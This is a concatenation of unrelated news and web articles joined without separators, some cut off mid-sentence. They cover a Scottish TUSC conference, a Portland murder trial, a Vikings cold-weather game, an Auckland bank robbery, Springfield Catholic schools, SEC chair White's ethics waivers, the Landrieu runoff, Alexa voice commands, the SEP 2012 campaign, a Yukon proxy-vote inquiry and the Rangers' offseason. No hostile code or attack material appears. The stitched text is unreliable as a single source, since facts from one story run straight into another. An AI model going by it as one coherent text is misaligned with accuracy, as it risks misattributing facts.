When asked about his responsibility as the head of the FDA, he said the epidemic took hold after he left the agency in 1997, but does admit he should have pushed for stricter prescription practices when he was still in charge.By Jim McFarlane
The prospect of a continuing Tory assault on working-class people for another five years poses a stark challenge to all trade unionists and socialists.
The Trade Unionist & Socialist Coalition (TUSC) put together the biggest left challenge to the main parties in the recent general election. TUSC stood 10 candidates in Scotland as well as a further 127 candidates across Wales and England.
The votes may have been modest at this stage but the response on the doorstep and in the streets was very positive to the idea of opposition to all cuts.
The Tories and their cheerleaders in the media have already laid out their plans. Abolition of the Human Rights Act, further restrictions on the rights of trade unionists to organise effectively to defend jobs and services by taking strike action. Further brutal cuts in benefits that the poor and vulnerable rely on just to exist are also in the firing line.
We can’t just sit back and wait until the Tories pass the legislation at Westminster before reacting. We can begin to discuss and organise the opposition that will be needed to take on the Tories, not just at the ballot box, but in the workplaces and communities that will suffer.
The Scottish Trade Unionist and Socialist Coalition have called a conference open to all socialists, trade unionists, anti cuts campaigns and those fighting the attacks on benefits on Saturday 27th June.
The magnificent struggles of the hospital porters in Dundee, homeless caseworkers in Glasgow and the number of anti cuts campaigners give inspiring examples of what working class people need to do in the coming months and years. Those struggles have revived the traditions of workplace and community struggles taking on those in power and more than holding their own.
The conference will not just be a time to share experiences and ideas but it can also be a launch pad for the coming struggles. Lets use this opportunity to link up the existing struggles and prepare for what’s to come.
Working class people can’t just hope for the best from the SNP who claim to be anti austerity. At both Scottish government level and in numerous local councils they have passed on the Tory cuts without even a struggle. Do they continue to pass on the cuts or will they actually oppose the cuts in more than words?
The Scottish TUSC conference can prepare for a full slate of 100% anti austerity, socialist candidates for next years Scottish parliament elections. Unity across the left, built through workers struggles, can lay the basis for the building of a mass political party armed with a bold socialist programme to challenge not just the Tories but all political representatives of big business.
Build a 100% anti-austerity and socialist election challenge for May 2016
Saturday 27 June 1pm-4.30pm
Renfield – St Stephens Centre, Bath Street, Glasgow
Organised by Scottish TUSC www.tusc.org.uk
Share this post: on Twitter on Facebook on Google+PORTLAND, Ore. (KOIN) --- Makeitho De Monz Herring was killed because he was having sexual relations with straight men and "enjoyed" bragging about it, according to prosecutors.
That is part of the theory expected to be presented in court on Thursday when a murder trial against Brandon Hickman begins. Jury selection started on Wednesday.
Gresham Police first responded to reports of a shooting on September 9, 2013 at the Pine Square Apartments. When they got there, they found Herring -- who went by the name "Tito" -- bleeding on the ground. The 37-year-old died from a single gunshot wound to the head, according to court documents.
Records show police quickly identified Hickman as a potential suspect after several witnesses reported his involvement in the shooting.
Herring and Hickman, although first cousins, were reportedly involved in a sexual relationship since 2005, according to prosecutors.
Herring, police said, was "outing" Hickman as a homosexual by telling people about his sexual partners.
The cousins had reportedly taken interest in the same man, police said.
Detectives learned Hickman was the victim of a "blast" threat with Herring reportedly threatening to tell more people, including gang associates, about the supposed sex acts between the two men.
Witnesses said before the shooting occurred, Herring was seen standing in the parking lot, calling to an open window in Hickman's apartment.
Herring, witnesses said, "appeared to be taunting Hickman," according to court documents. Police said Hickman came down from the apartment.
Witnesses described him as "angry."
One person, who claims to have seen the gun go off, told police Hickman said, "I didn't mean to do it," as he ran away.
Hickman fled to Las Vegas where he was arrested by United States Marshals on October 13, 2013. Initially, he denied being at the scene, records show. Detectives told Hickman video showed him running from the scene.
Hickman reportedly said "…you just gotta (sic) know there was nothing premeditated, it was an accident," according to court records.
Documents show Hickman's defense team may argue the shooting was accidental.
While both men were known to police as having gang associates at the time of the shooting, the case is not being investigated as a gang-related homicide.
The trial is scheduled to go until September 25.Bundle up, Minnesota, it's going to be cold Sunday.
According to AccuWeather and Weather.com the temperature in Minneapolis will be a high of 1 degree -- not counting the 10-15 mph wind chill factor. The low sits around -9 degrees.
The good news? That high of 1 degree went up from zero degrees on Tuesday! At this rate maybe we'll get a high of 5 degrees on Sunday when the Vikings and Seahawks kick off at TCF Bank Stadium at 12:05 p.m. local time.
"The wind affects things more than anything does," Vikings coach Mike Zimmer said Wednesday. "The cold is the cold. The ball's gonna be harder, a little more slippery.... A lot of concentration when guys are out on the field. They gotta concentrate. Don't worry about the cold, worry about playing."
The top three coldest games in NFL history, based on kickoff temperatures, were: 1967 NFL championship game between the Packers and Cowboys ("Ice Bowl") at minus-13 degrees; 1981 AFC Championship between the Bengals and Chargers at minus-9 degrees; 2007 NFC Championship between the Giants and Packers at minus-1 degree.
Minnesota's three coldest home games in franchise history were: Dec. 3, 1972 versus Chicago at minus-2 degrees; Dec. 10, 1972 versus Green Bay at 0 degrees; Nov. 29, 1964 versus Los Angles at 5 degrees.
The Vikings 'last home outdoor playoff game in Minnesota was Dec. 26, 1976 in the NFC Championship. Fran Tarkenton led the Vikes to a 24-13 victory over Pat Haden and the Los Angeles Rams. The temperature was 12 degrees that day.
Last month, Zimmer said his team could use low temperatures in December and January to their benefit.
"I actually love it; we get to use it to our advantage," Zimmer said, via ESPN.com. "You get teams that aren't used to playing in the cold weather games and like I said, you get to use it to your advantage. It's all a mental thing. I'm a big fan of it, actually."
Last year before the season, the Vikings decided to move the home sideline to the north side of TCF Bank Stadium because analysis showed temperatures are noticeably warmer on that sideline. During the Panthers game last season, they found a 20-degree temperature difference between sidelines.
"We've luckily been in some of these elements games, the Carolina game a year ago, the Giants game on Sunday night, and Green Bay last week," Zimmer said Wednesday. "I'm sure (Seattle has) probably been in some as well. It's just something that we'll deal with."
It's worth noting that both Teddy Bridgewater and Russell Wilson have fared well in games below 40 degrees in their careers:
Wilson: 3-2 record; 66.9 completion percentage; 258.4 passing YPG; 13-2 TD-INT ratio; 114.4 passer rating
Bridgewater: 6-3 record; 66.5 completion percentage; 191.8 passing YPG; 12-5 TD-INT ratio; 97.1 passer rating
Now we'll see how they perform in the uber cold.
The Vikings got blown out at home by the Seahawks 38-7 in Week 13. Perhaps, maybe, the bitter cold could help even the score.
"We need our fans to make an advantage for us," Zimmer said. "They need to be loud and make sure they have some tailgating before they come out so they stay warm."CRASHED: According to police reports this car may have been involved in a Westpac bank robbery in Pukekohe before it crashed north of the Papakura on ramp.
Two suspected bank robbers and a member of the public are in hospital with serious injuries after a crash on Auckland's Southern Motorway this afternoon.
Do you have photos, video or information? Email us at newstips@stuff.co.nz
District Commander Superintendent John Tims said at a press conference in Auckland this afternoon that the crash occurred after an armed robbery at a bank in Pukekohe.
Two men armed with a hammer entered the Westpac bank at Pukekohe about noon, he said. They demanded, and were handed, money and ran from the bank. They drove away from the scene in a maroon BMW before being spotted by a police patrol at Drury.
Tims said the police patrol chased the car as it drove under the motorway and onto Great South Rd, before eventually heading onto the Southern Motorway in a northerly direction.
The car was clocked travelling about 140kmh before it collided with a 2008 Ford Falcon ute, causing both vehicles to roll.
Two men were arrested at the scene and taken to Middlemore Hospital along with the driver of the Ford. The two offenders sustained head injuries. The driver of the Falcon has an injured neck. All were in a serious condition, Tims said.
"It is not the result that we would like. We are here to keep everyone safe. We also have an obligation when two people go into a bank rob people of cash and change the lives of people in the bank forever."
The motorway was closed for about two-and-a-half hours after the crash.
Police were in the early stages of their investigation, but were appealing to witnesses, Tims said.
The matter has been referred to the Independent Police Conduct Authority.
Witness Tina Youngs, who was at the Remax office across the road from the bank at the time of the robbery, said a man had emerged from the bank with others chasing him.
"They got down the alley and one man in a brown jacket tackled him," she said.
"The guy took it upon himself to take him down and he was giving him [the alleged robber] a good bashing.
"He was very brave. I was impressed. It was more than what I would have done.
"There were so many people standing around it was hard to see, but somehow the little man [the robber] got away." Jo Wardle said they initially thought the incident was a fight.
"She [Tina] said to me, 'There is a fight, call the cops'. We could see people running and she said 'He is kicking the s... out of him, call the cops'." "I dialled 111 and they said to me, 'We are aware of the situation. Stay inside'.
"We kind of worked out it was to do with the bank, then we worked out the bank was robbed." The motorway was closed northbound from Drury, for about two hours, before reopening about 3pm, the NZ Transport Agency said.SPRINGFIELD — Cathedral and Holyoke Catholic high schools faced financial sustainability issues well before the June 1, 2011, tornado severely damaged Cathedral's 50-year-old building on Surrey Road, forcing the Roman Catholic Diocese of Springfield to consider the future of Catholic education in the region.
During a meeting recently with parents of the two schools, diocesan officials outlined the "dilemmas" the schools face during a half-hour PowerPoint presentation at St. |
threatened to hamstring the agency on important matters. A 2013 report by The Wall Street Journal found that four of the SEC’s commissioners were “barred from enforcement votes and certain other matters affecting more than 20 companies,” and that one commissioner “didn’t vote in 59 of the agency’s 118 closed-door meetings” over a two-year period.
Over the course of her career, White went from prosecuting financial fraud as a U.S. Attorney to defending financial industry clients as an attorney at Debevoise & Plimpton LLP, a corporate law firm. When President Obama nominated White to lead the SEC, POGO and others took note of the fact that she used to represent powerhouse Wall Street banks such as JPMorgan, UBS, and Morgan Stanley. But those weren’t her only clients. In a 2013 financial disclosure report, White revealed that she also provided legal services to Simpson Thacher, a firm that does plenty of its own work representing big businesses before the government.
Under the ethics pledge signed by President Obama’s appointees, White was required to wait at least two years before handling SEC business that could affect a former employer or client. But the agency’s ethics official decided to waive this restriction for matters involving Simpson Thacher and its clients. The waiver suggests that the SEC’s work was hindered when White remained on the sidelines. “Thus far, as Chair of the Commission, you have recused from particular matters in which Simpson Thacher represents a party,” the waiver says. “This has led to a situation in which your leadership, experience, and expertise have not been brought to bear on significant matters before the Commission.”
“I understand that for several years prior to your [April 2013] appointment Simpson Thacher was a client for whom you performed attorney services,” the ethics official wrote in the waiver. However, under the Obama ethics pledge, a firm is defined as a “former client” only if the appointee “served personally as agent, attorney, or consultant [to the client] within the 2 years prior to the date of his or her appointment.” As a result, the waiver discounts the “approximately 6 hours of work” that White did for Simpson Thacher in January 2011, and notes that she billed less than one hour for her work on Simpson Thacher matters in the two years preceding her appointment. It is unclear how much work she did for Simpson Thacher before the six hours in January 2011, or if she had any ongoing arrangement with the firm over the years that could undermine her loyalty to the public as an SEC official. “[T]he minimal amount of your work for Simpson Thacher during the two years prior to your appointment does not present a significant concern regarding the appearance of undue influence that the Pledge is designed to prevent,” the waiver says.
White’s waiver does not say what her “several years” of work for Simpson Thacher entailed, how important it was, or how extensive it was. Appointees are not even covered by the ethics pledge if their services for a past client consisted “merely of speaking engagements” or “other kinds of discrete, short-term engagements, including certain de minimis consulting activities,” according to a 2009 guidance letter issued by OGE. The letter offers criteria—such as “the amount of time devoted” and “the nature of compensation (e.g., one-time fee versus a retainer fee)”—for evaluating an appointee’s relationship with a past client.
In White’s case, the government apparently decided that her past work for Simpson Thacher was significant enough to trigger a recusal under the ethics pledge, but it’s unclear exactly how the ethics officials made that determination or why they decided to waive the “cooling off” rule last year. A different OGE letter issued in 2009 said it is the “President’s intention that waivers will be granted sparingly and that their scope will be as limited as possible.”
As previously reported, White also received an ethics waiver last year because she used to provide direct legal services to one of Simpson Thacher’s clients, Credit Suisse. White, Simpson Thacher, and the SEC declined POGO’s requests for comment.
White’s newly disclosed waiver does not identify specific matters involving Simpson Thacher that have come before the SEC during her tenure. But other records posted on the SEC’s website show how the firm has interacted with the agency on high-profile cases.
In May 2014, for instance, Simpson Thacher wrote to the SEC on behalf of firms that are affiliated with Credit Suisse AG, the giant Swiss bank. (The letter was signed by Peter Bresnan, a former official in the SEC’s enforcement division who began representing clients before the agency shortly after he left, according to records obtained by POGO.) Those firms had been able to take advantage of a rule that gives companies a streamlined process to raise money from investors, but they were in danger of losing the privilege because of Credit Suisse’s legal and regulatory problems.
In February 2014, the SEC filed charges alleging that Credit Suisse “provided cross-border securities services to thousands of U.S. clients and collected fees totaling approximately $82 million without adhering to the registration provisions of the federal securities laws.” Credit Suisse paid $196 million and admitted wrongdoing in order to settle the SEC’s charges. A few months later, in a parallel criminal action brought by the Department of Justice, the bank pleaded guilty to helping U.S. taxpayers file false tax returns over the course of several decades, and agreed to pay an additional $2.6 billion to state and federal regulators.
As a result of the guilty plea, firms affiliated with Credit Suisse stood to lose their money-raising privilege. So they turned to Simpson Thacher to request an exemption from this disqualification, known as a “bad actor” waiver. Several SEC officials have the authority to handle such requests, but in this case, the matter went before the five SEC commissioners, the agency’s senior leaders. A majority of participating commissioners voted to grant the waiver on the same day Credit Suisse pleaded guilty.
The SEC’s waiver approval doesn’t say if or how White voted on the matter. In a similar case involving Bank of America, White recused herself, according to a report by Bloomberg, because she used to represent the bank’s former CEO. This led to a stalemate among the four remaining commissioners, two of whom have raised concerns about the agency’s habit of granting waivers to repeat offenders. One commissioner has warned that the SEC is in danger of enshrining a new policy, “that some firms are just too big to bar.”
If White was allowed to participate in the Credit Suisse case, it might have broken any deadlock among the remaining commissioners, but it would’ve meant she was weighing in on a highly controversial decision that involved two of her former clients (Credit Suisse and Simpson Thacher). Credit Suisse’s “bad actor” waiver was cited in a letter last year from Senator Sherrod Brown (D-OH), the new Ranking Member of the Senate Banking Committee, who told the SEC that “[r]emoving privileges enjoyed by large firms will promote better behavior, increase accountability, and demonstrate to the financial markets that certain firms do not enjoy special treatment by virtue of their size.” The reprieve granted to Credit Suisse was “particularly troubling,” Senator Brown wrote.
White also received an ethics waiver in February 2014 that allowed her to handle SEC matters affecting Credit Suisse, which she used to represent directly. But unlike the Credit Suisse ethics waiver, which POGO highlighted at the time, the Simpson Thacher waiver is only now coming to light. “Evidently there were two waivers issued with the same date but…only one was posted to the OGE site,” OGE explained in an email to POGO. “Our web administrator has now reposted the file containing both waivers to the site.”
POGO has called for the timely online posting of waivers, recusals, and other ethics records for officials who go through the revolving door. There is also a need for more detailed disclosures so that the public can evaluate, for instance, whether it was appropriate for White to receive a blanket waiver for all matters involving Simpson Thacher.
Some of the potential conflicts that have ensnared White have also tied the hands of Andrew Ceresney, the SEC’s enforcement chief. Like White, Ceresney was an attorney at Debevoise & Plimpton and represented some of the same powerhouse Wall Street firms, including Credit Suisse, JPMorgan, and UBS, according to a financial disclosure statement posted by The Wall Street Journal. The Journal has reported that both White and Ceresney remained on the sidelines in 2013 when the SEC voted to settle with JPMorgan for its alleged failure to prevent massive trading losses in the “London whale” case. POGO asked the SEC for more information on White’s recusals in cases involving Simpson Thacher, but the agency declined to comment.
Before White’s tenure at the SEC, Simpson Thacher represented defendants in a number of high-profile cases, such as when the agency alleged that senior employees from Citigroup made misleading statements about the bank’s exposure to subprime mortgages in a case tied to the 2008 financial crisis. More recently, Simpson Thacher itself came under scrutiny when the SEC accused a managing clerk at the firm of participating in an insider trading scheme.
Simpson Thacher caters to corporations and executives in a variety of matters, including investigations by Congress and financial regulators. On its website, the firm touts its roster of government alumni who have traveled through the revolving door: “Our team includes former federal prosecutors, former SEC officials (including the first Chief of the SEC’s FCPA Unit) and former members of the [Department of Justice] Securities and Commodities Fraud Task Force.”
Now it appears Simpson Thacher can offer another selling point: one of Wall Street’s top watchdogs is a lawyer who used to represent the firm, and she doesn’t have to wait any longer to oversee its clients.Noting that the Democratic Senatorial Campaign Committee, among many others, has abandoned Mary Landrieu, Sean Sullivan and Karen Tumulty of the Washington Post describe Landrieu’s lonely last days as a Senator this way:
So with the odds stacked heavily against her, Ladndrieu soldiers on virtually alone — this year’s political equivalent of those holdout Japanese infantrymen who were discovered waging war on remote Pacific islands decades after World War II had ended.
The image is almost enough to make me happy my wife reinstated our subscription to the Post.
Sullivan and Tumulty don’t reach the same heights in the rest of the article — how could they — but they provide some interesting detail. For example, Senate Majority PAC, which spent millions of dollars on behalf of Senate Dems this fall, has not run a single ad for Landrieu in the runoff campaign. Meanwhile, the National Republican Senatorial Committee has spent more than $1.4 million in ads. Overall, pro-Cassidy groups have spent more than $5.6 million for this purpose.
As a result, it is estimated that outside groups have aired around 6,000 ads for Cassidy since the November election. Pro-Landrieu groups have aired fewer than 100.
Landrieu’s most active remaining supporter is the Humane Society Legislative Fund. Under the circumstances, that seems appropriate.Amazon’s voice assistant, Alexa is one of the most powerful digital assistant that is capable of fetching information and performing tasks even if you are working. There are several ways to interact with Alexa like Tap, Echo, Echo dot, Echo show. Amazon Echo is such a wonderful device to have as it is capable of doing multiple tasks like managing your account and have multiple Apps in it. It even has a Bluetooth speaker in it which can be used to play music, videos and more. Commands to Control Amazon Echo.
Since the introduction of Amazon Alexa by Amazon, Echo has done a fabulous job. With your voice, you can manage the intelligence of Alexa. But the problem arises when instructing the commands to the Alexa. Some commands are pretty simple to instruct but there are many which are new and you might don’t aware off. Day by day there is an increase in the number of commands so we have collected some of the very best commands to control Amazon Echo and other siblings of echo.
Some Basic Alexa Commands
These are some of the basic commands to control and setup Amazon Echo and its siblings Amazon Tap and Amazon Dot with your devices.
1. Asking Alexa for help – “Alexa help”.
2. Muting or Unmuting Alexa – “Alexa mute” or “Alexa unmute”.
3. Pause or Stop Alexa – “Alexa, stop” or, “Alexa, shut up”.
4. Changing the volume have multiple depending on your requirements – “Alexa set volume to 4” or “Alexa louder” or “Alexa turn down/up the volume”.
5. Pairing a Bluetooth Device with Amazon Echo – “Alexa Pair”
6. Disconnecting a Bluetooth Connected Device – “Alexa, disconnect my phone”
7. Connecting an already paired Device to Echo – “Alexa connect my phone” or “Alexa, connect to device_name”.
Also check the Alexa Skill that allows you to quickly reorder your contact lenses by voice.
Some Echo Show Commands
These commands can tell it to show you different things. It is the newest addition to Amazon Alexa.
8. For displaying your calendar – “Alexa, show my calendar”.
9. For particular movie trailers – “Alexa, show me the trailer for movie_name”.
10. Showing the photos – “Alexa, show my photos” or, “Alexa, show me pictures of object_name”.
11. Playing the YouTube videos – “Alexa, show me wildlife videos on YouTube.”
12. For Movie Timings – “Alexa, show me movie showtimes.”
Timings and Dates Related Commands
Need to wake up early, setting up the timer and much more can be done easily with the help of these commands. Even if you are busy doing some stuff you can instruct the Echo to do things like setting the timer, stopping the timer, setting Alarm.
13. Current Time – “Alexa, what’s the time?”
14. Setting up the Timer in Amazon Echo is pretty simple – “Alexa set a timer for 2 minutes”
15. Checking the time on the Timer – “Alexa, how much time is left on my timer”
16. Cancelling the Timer – “Alexa, cancel my timer” or “Alexa, cancel timer”
17. Setting up the Alarm in Echo – “Alexa, set an alarm for 7 AM” or “Alexa, wake me up at 7 AM”
18. Asking the current date – “Alexa, what’s the date?”.
19. Checking the dates – “Alexa, when is [holiday] this year?”.
Media Controlling Commands for Amazon Echo
Most importantly controlling your media is necessary as everyone listens to music, videos. Forwarding the music if not liking without touching the device is most used while playing media is one cool stuff you can get in Echo. Other stuffs like playing music by artist, song of the day and more.
20. Playing the music on Echo – “Alexa, play some music”.
21. Songs by Artist – “Alexa, play music by [artist]”.
22. Playing the song of the Day – “Alexa, play the song of the day”.
23. Playing an audiobook – “Alexa, play [title_name] on Audible,” or “Alexa, read [title_name]” or “Alexa, play the book [title_name].”
24. Resumption of the last played audiobook – “Alexa, resume my book.”
25. Skipping the audiobook chapters – “Alexa, next chapter” or “Alexa, previous chapter.”
26. Music controls – “Alexa, play” or “Alexa, next.”
27. Adding songs to your Music library – “Alexa, add this song.”
Also See: 10 Best Google Chrome Extensions
Calling and Messaging Commands
28. Calling to another Echo user – “Alexa, call [name]”.
29. Answering to an incoming call – “Alexa, answer the call” or “Alexa, answer”.
30. Ending the call – “Alexa, hang up” or “Alexa, end the call.”
31. Messaging another Echo user – “Alexa, message [user_name]” or “Alexa, send [user_name] a message.”
32. Play messages on Echo – “Alexa, play messages.”
To-do and Shopping lists
33. Adding Tasks to Your To-Do List – “Add create website backup to my to-do list”
34. Checking To-Do List – “Alexa, what’s on my to-do list” or “Alexa, read my to-do list”
35. Adding an Item to Your Shopping List – “Alexa, add Cheese to my shopping list”
36. Checking items in Shopping List – “Alexa, what’s on my Shopping List?”
Maths
37. Basic mathematics – “Alexa, what’s 10 plus 9” or “Alexa, what’s 6 times 338”.
38. Converting the units – “Alexa, how many [units] are in [units]?
39. Advanced mathematics – “Alexa, 25 factorial”. (Warning: Alexa will list numbers that you didn’t know existed)
Definitions and spelling
40. Get to know the definition of a word – “Alexa, what’s the definition of [word]?”
41. Get to know the spelling of a word – “Alexa, how do you spell [word]?”
Searching
42. Getting the Wikipedia information – “Alexa, Wikipedia [subject]”.
43. Asking a general Question – “Alexa, how tall is [person or object name]?”.
Translation
44. Translating from English to other Language like Spanish – “Alexa, translate good morning to Spanish”.
45. Translating from other languages to English – “Alexa, translate hola to English”
Location Based Commands
46. Weather of current location – “Alexa, what’s the weather like?”.
47. Find Movies by the nearby location – “Alexa, what movies are playing nearby?”
48. Traffic Details of current location – “Alexa, what’s the traffic like?”
Profiles and user accounts
49. Switching the profiles – “Alexa, switch accounts”.
50. Check which profile is currently active – “Alexa, which profile is this?”.
Also See: 15 Best Amazon Echo Compatible Devices
With the help of these Alexa commands, you can get the most out of your Amazon Assistant devices (Echo, Dot, and Tap). Apart from these commands, there are many other commands which might be helpful. We tried our best to choose best Commands to Control Amazon Echo.
Do comment in the comment section regarding any query related to the given Alexa commands. And do suggest any command you think should be on the list. We would like to hear from you.Socialist Equality Party announces US election campaign
By the editorial board
13 February 2012
The Socialist Equality Party in the United States will run candidates in the 2012 elections. The SEP candidate for president is Jerry White; the vice presidential candidate is Phyllis Scherrer.
In a statement published today by the World Socialist Web Site, White outlined the basis of the SEP campaign.
The SEP has also established a new election web site to present its program and organize election committees and meetings throughout the country.
SEP presidential candidate, Jerry White and vice presidential candidate Phyllis Scherrer
White, 52, has been active in the socialist movement for more than three decades. He joined the Workers League, the predecessor of the Socialist Equality Party, in 1979, while working at United Parcel Service and attending the City University of New York.
In 2008, White ran as the SEP candidate for president in opposition to Barack Obama and John McCain. He has represented the SEP in other elections, including running as the party’s candidate in 2006 for US Congress from Michigan’s 12th Congressional District.
White is a writer for the World Socialist Web Site. He has written extensively on the struggles of auto workers, coal miners and other sections of the working class. Most recently, he has covered the struggle of locked-out Cooper Tire workers in Findlay, Ohio.
“I am proud to represent the Socialist Equality Party in these elections,” White told the WSWS. “This will be a year of growing resistance by the working class in the United States and around the world. Our campaign will fight to unify these struggles and direct them to a political fight against the capitalist system.”
Phyllis Scherrer, 48, is a school teacher in the Pittsburgh, Pennsylvania area. She joined the Socialist Equality Party in 1984 when she was a student at Chatham College in Pittsburgh. She has participated actively in the struggles of miners and steel workers in Pennsylvania and West Virginia. As a contributor for the WSWS, Scherrer has reported on the fight to defend public education from the attacks of the Bush and Obama administrations.
“I have immense confidence that our campaign will win support from workers throughout the country and all around the world,” Scherrer said. “Millions of workers and young people voted for Obama, looking for change. Three years later, the administration has revealed itself to be a right-wing instrument of the banks and corporations.”
The SEP campaign takes place under conditions of a historical crisis of the capitalist system, growing working class struggles, and the mounting danger of world war. The day before the campaign was announced, police clashed with hundreds of thousands of demonstrators in Greece as the parliament voted for brutal austerity measures. The US and European powers at the same time are escalating their threats against Syria, preparing the groundwork for another war for regime-change.
In the United States there is widespread hostility to capitalism, but it can find no expression within the political establishment. Behind the mutual denunciations and mud-slinging, the Democrats and Republicans are agreed on all essential issues of ruling class policy. Meanwhile, the 2012 elections are dominated by massive infusions of money from millionaires and billionaires into the coffers of both parties.
The Socialist Equality Party will seek to get on the ballot in as many states as possible. However, because of undemocratic electoral laws that in many cases require tens of thousands of signatures on petitions, the SEP will run write-in campaigns in many states.
“The SEP is going to run a very aggressive campaign,” National Secretary Joseph Kishore said. “We will set up election committees and hold meetings throughout the country to promote the campaign. We will organize interventions in all the struggles of the working class. A successful campaign requires the active support of all those who agree with the need to fight for socialism.”
Information on the SEP election campaign, including how to become involved and how to contribute financially, can be found at the SEP election web site “Vote Socialist Equality in 2012!” at www.socialequality.com.Elections Yukon says it's looking into the case of a proxy vote solicited by a Whitehorse Liberal candidate to see if it might be a breach of election rules.
Downtown resident Bruce Dent says he was asked by Liberal candidate Tamara Goeppel (Whitehorse Centre) to cast a proxy ballot for someone he did not know. He says Goeppel told him the person felt too "intimidated" to vote.
According to Dent, Goeppel and her campaign manager came to his door last Sunday and asked him to cast the proxy ballot.
"She gives me a form, and she gives me quite a clear and involved spiel about voters being intimidated to go to the polls for this election, and this person in particular being intimidated to go to the polls," Dent said.
He said that was at odds with what was listed on the form he was given — that the person could not vote because he would not be in the territory.
Bruce Dent says he was asked to vote for someone whose address was listed as 311 Black St. in Whitehorse - the Salvation Army. (Cheryl Kawaja/CBC)
Dent found Goeppel's request odd, and decided to look into it further.
"I thought, well, I really want to find out more and really ensure the legitimacy and, quite frankly, the ethics of this. Because quite frankly, I don't want to be participating in something that is not ethical."
Dent took his questions and concerns to Elections Yukon.
He says he was told a person who will be out of the territory can appoint a friend, relative, political party or candidate from that electoral district to vote on their behalf.
Dave Wilkie, Yukon's assistant chief electoral officer, says Elections Yukon is now looking into the matter.
"[A proxy vote]'s not for people within Yukon to use, it's only for people that are going to be outside of Yukon on the advance poll days and election day," Wilkie said.
"Any time that we get information that sounds like it could be a breach of the Election Act, we have to try to get more information."
10 proxy forms obtained by candidate
Goeppel, meanwhile, does not see a problem, saying she's been working with vulnerable people downtown and trying to make their voice heard.
"They don't vote especially, not regularly, yet their plight is something that is very close to my heart," she said.
'In order to get this community to be actually active in this election, they need to have that the barriers are reduced, for them to vote,' said candidate Tamara Goeppel. (Tamara Goeppel)
She says she spoke to one man who was reluctant to cast his own ballot and she told him about proxy votes for people out of the territory.
"He said, 'Tamara, I am out of territory — I'm invisible, no one sees me. I don't know where I'm going to be, or in what state I'm going to be in."
Goeppel said she has helped about 10 vulnerable people fill out proxy forms. In all cases, she said, the people are in a position where they don't necessarily know where they will be on voting day.
"A valid reason for a proxy vote is not being in the territory," she said.
"Through the conversations that I've had with these folks, they've said, 'you know, we might be in Dease Lake [B.C.] We don't know. We might be at the bottom of the river.'"
Goeppel said she spoke to people involved with her campaign — people with more election experience than her, she said — who told her she was acting within the rules. She did not check with Elections Yukon.
"We made the decision that for these folks, this is the only way that they can vote," she said.
"Who would deny someone in this particular circumstance the right to vote, if this was the only avenue for them to cast a ballot?"gives manager Ron Washington a major upgrade at first base, a position that helped cost Texas a playoff spot in 2013. (Ronald Martinez/Getty Images) Prince Fielder gives manager Ron Washington a major upgrade at first base, a position that helped cost Texas a playoff spot in 2013. (Ronald Martinez/Getty Images)
With only a few weeks until pitchers and catchers report to spring training, we're checking in on how each team has fared in conducting its offseason business while acknowledging that there's still time for its prognosis to change. Teams will be presented in reverse order of finish from 2013.
Texas Rangers
2013 results: 91-72 (.558), 2nd place AL West (Hot Stove Preview)
Key departures: IF Jeff Baker*, DH Lance Berkman, OF Nelson Cruz*, RHP Matt Garza, CF Craig Gentry, 2B Ian Kinsler, RHP Josh Lindblom, OF David Murphy, CL Joe Nathan, C A.J. Pierzynski
Key arrivals: C J.P. Arencibia, LF Shin-Soo Choo, OF Michael Choice, 1B Prince Fielder, UT Brent Lillibridge, RHP Chaz Roe, IF Josh Wilson
While the Rangers reached the 90-win plateau for the fourth year in a row in 2013, their three-year run of playoff appearances ended. After a 3-13 bellyflop to end August and start September, they needed to win their final seven regular season games to force a Game 163 play-in, which they dropped at home to the Rays. Couple that miss with the team's 2012 ouster in the Wild Card Game, and it's fair to say that the core of a roster that took Texas to back-to-back World Series in 2010 and '11 was in need of a shakeup. General manager Jon Daniels reached that same conclusion and has indeed shaken things up in a such a way that is club's 2014 Opening Day lineup will have at least five new faces compared to its 2013 one.
Texas' makeover involved big splashes in both the trade and free agent markets, starting with the Nov. 20 blockbuster that sent longtime second baseman Ian Kinsler to Detroit in exchange for Prince Fielder, a move that solved three problems at once. First, it got the Rangers out from under the contract of a good player who appears to be in decline as he settled into his 30s; while Kinsler had been worth a respectable 5.7 Wins Above Replacement over the last two years, that was down from his average of 5.2 over the previous four, and he still had four years remaining on his extension. Second, the trade opened up a lineup spot for Jurickson Profar, who after entering 2013 as the consensus number one prospect in baseball spent most of his age-20 season bouncing around the big club's infield, struggling to find a groove while hitting just.234/.308/.336. Third, adding Fielder brought the Rangers a five-time All-Star to upgrade a position where they received the league's second-worst production (.223/.295/405) — easily the difference between making the playoffs and staying home.
On the downside, Fielder (who turns 30 in May) is coming off a.279/.362/.457 line with just 1.7 WAR. His power numbers — slugging percentage (.457), isolated power (.178) and home run total (25) — were all full-season career lows, while his on-base percentage (.362), OPS+ (120) and WAR were his lowest since 2006, his first full year. Via Defensive Runs Saved, his defense (-13 runs) was at least 10 runs below average for the fifth time in eight years, undoing a fair bit of his value. Hs decline may have had something to do with going through a divorce, and the change of scenery — particularly to a park more favorable to lefthanded power — could do him some good; in Arlington, he should be able to resume swatting 35-40 homers per year. With the $30 million Texas received from the Tigers, it will be paying an average of $19.7 million for its first baseman, still well below the average annual salaries of Ryan Howard, Albert Pujols, Mark Teixeira, Joey Votto and Adrian Gonzalez.
The team's other major splash came with the signing of Shin-Soo Choo to a seven-year, $130 million deal, the fourth-largest free agent contract of the winter and the largest in franchise history since their 2001 Alex Rodriguez deal (though with the cash from Detroit, Fielder is actually owed more, $138 million). Coming off a sizzling.285/.423/.462 season with 21 homers and 20 steals for the Reds, Choo should provide a major jolt at the leadoff spot, helping to reignite an offense that slipped to seventh in the league at 4.51 runs per game. Miscast as a centerfielder in Cincinnati, he'll shift to leftfield, with Leonys Martin in center and August acquisition Alex Rios in right, and former outfield mainstays David Murphy now an Indian and Nelson Cruz still a free agent.
Choo's signing does raise the question of what the Rangers plan to do with 24-year-old Michael Choice, whom they acquired in a four-player December deal that sent centerfielder Craig Gentry and righty Josh Lindblom to the A's. Revamping his swing to swap some power for more consistent contact, Choice — the 10th pick of the 2010 draft — hit.302/.390/.445 with 14 homers at Triple A Sacramento, earning the 79th spot on Baseball Prospectus' just-released Top 101 Prospects list. Whether he'll bide his time at Triple A until Rios departs (he's a free agent at the end of the year) or squeeze into the lineup as a fourth outfielder/DH remains unclear. Mitch Moreland, who despite bopping 23 homers hit just.232/.299/.437, is the nominal incumbent at the latter position, where Texas received just a.245/.313/.385 showing in 2013, largely from the departed Lance Berkman, with the miscast Profar and Kinsler taking up a fair bit of time there as well.
